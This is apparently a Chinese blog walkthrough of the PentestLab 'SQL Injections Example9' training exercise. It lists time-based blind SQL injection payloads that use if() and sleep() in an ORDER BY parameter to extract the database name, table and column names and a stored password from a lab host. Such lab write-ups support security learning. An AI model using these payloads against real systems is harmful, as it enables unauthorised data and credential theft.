首页 > 数据库 >PentestLab-web安全SQL注入-EXP9

PentestLab-web安全SQL注入-EXP9

时间:2023-03-21 16:04:05浏览次数:39  
标签:web EXP9 1.142 10 192.168 sqli sleep SQL php


我们打开靶机,选择“SQL Injections”

选择“Example9”


PentestLab-web安全SQL注入-EXP9_sql


观察页面


PentestLab-web安全SQL注入-EXP9_ci_02

盲注的方法如下:


无回显,使用延时注入

注入点

​http://192.168.1.142/sqli/example9.php?order=if(length(database())>9,sleep(10),1)%23​


payload为


http://192.168.1.142/sqli/example9.php?order=if(length(database())>9,sleep(10),1)%23
http://192.168.1.142/sqli/example9.php?order=if(ascii(substr(database(),1,1))>101,sleep(10),1)%23
http://192.168.1.142/sqli/example9.php?order=if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>4,sleep(10),1)%23
http://192.168.1.142/sqli/example9.php?order=if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>118,sleep(10),1)%23
http://192.168.1.142/sqli/example9.php?order=if(length((select column_name from information_schema.columns where table_name=unhex(7573657273) limit 1,1))>4,sleep(10),1)%23
http://192.168.1.142/sqli/example9.php?order=if(ascii(substr((select column_name from information_schema.columns where table_name=unhex(7573657273) limit 0,1),1,1))>105,sleep(10),1)%23
http://192.168.1.142/sqli/example9.php?order=if(length((select passwd from users limit 0,1))>5,sleep(10),1)%23


观察靶机的源代码


PentestLab-web安全SQL注入-EXP9_php_03


使用函数过滤sql查询,

可以参考网上的payload


标签:web,EXP9,1.142,10,192.168,sqli,sleep,SQL,php
From: https://blog.51cto.com/apple0/6140263

相关文章

  • SQL之数据表删除
    1、delete基本语法DELETEFROM表名[WHERE条件表达式];2、删除部分记录deletefromstudentwhereage=14;3、删除全部数据deletefromstudent;5、truncate......
  • SQL之数据表更新数据
    1、update基本语法UPDATE表名SET字段名1=值1[,字段名2=值2,…][WHERE条件表达式];2、更新部分数据updatestudentsetage=20,gender='female'wherename='to......
  • windows下mysql5.6升级至mysql5.7
    下载mysql-5.7.39-winx64.zip并解压。停止5.6版本的mysql服务。将mysql5.6中的data目录和my.ini复制到mysql5.7的目录下。修改mysql5.7目录下的my.ini文件:#设置mysq......
  • GaussDB(DWS)运维:导致SQL执行不下推的改写方案
    摘要:本文就针对因USING子句的书写方式可能导致MERGEINTO语句的执行不下推的场景,对USING子句的SQL语句进行改写一遍,整个SQL语句可以下推。本文分享自华为云社区《​​GaussD......
  • mybatis里的sqlSessionFactory无法调用Session
    //2、获取SqlSession对象,用它执行sqlSqlSessionsqlSession=sqlSessionFactory.();  我写的时候SqlSessionFactory调用的时候第一个s大写了应该小写的 ......
  • SQL之操作数据表基操
    1、创建数据表createtablestudent(idint,namevarchar(20),gendervarchar(10),birthdaydate);2、查看当前数据库中所有数据表showtables;3、查看......
  • 五种常用的web安全认证方式
    https://www.oldboyedu.com/blog/4538.html 现如今web服务器随处可见,千万台web程序被部署到公网上供用户访问,有些系统只针对指定用户开放,属于安全级别较高的web应用,他们......
  • SQL SERVER 数据库查询包含某个字符串的所有物理表
     createPROCEDURE[dbo].[SP_FindValueInDB](@valueVARCHAR(1024))ASBEGIN--SETNOCOUNTONaddedtopreventextraresultsetsfrom--interferingwithS......
  • SQL之操作数据库基操
    1、创建数据库createdatabase数据库名称;2、删除数据库dropdatabasedb1;3、查询出mysql中所有的数据库showdatabases;4、切换使用数据库usedb1;5、......
  • WebSocket + Redis简单快速实现Web网站单设备登录功能
    大家好,我是小悟1、写在前面的话生活中,我们在使用一些APP的时候,有过一种体验,就是在A手机上登录账号,因为某些原因需要在B手机上登录,然后就会在A手机上看到类似"该账号在其他设......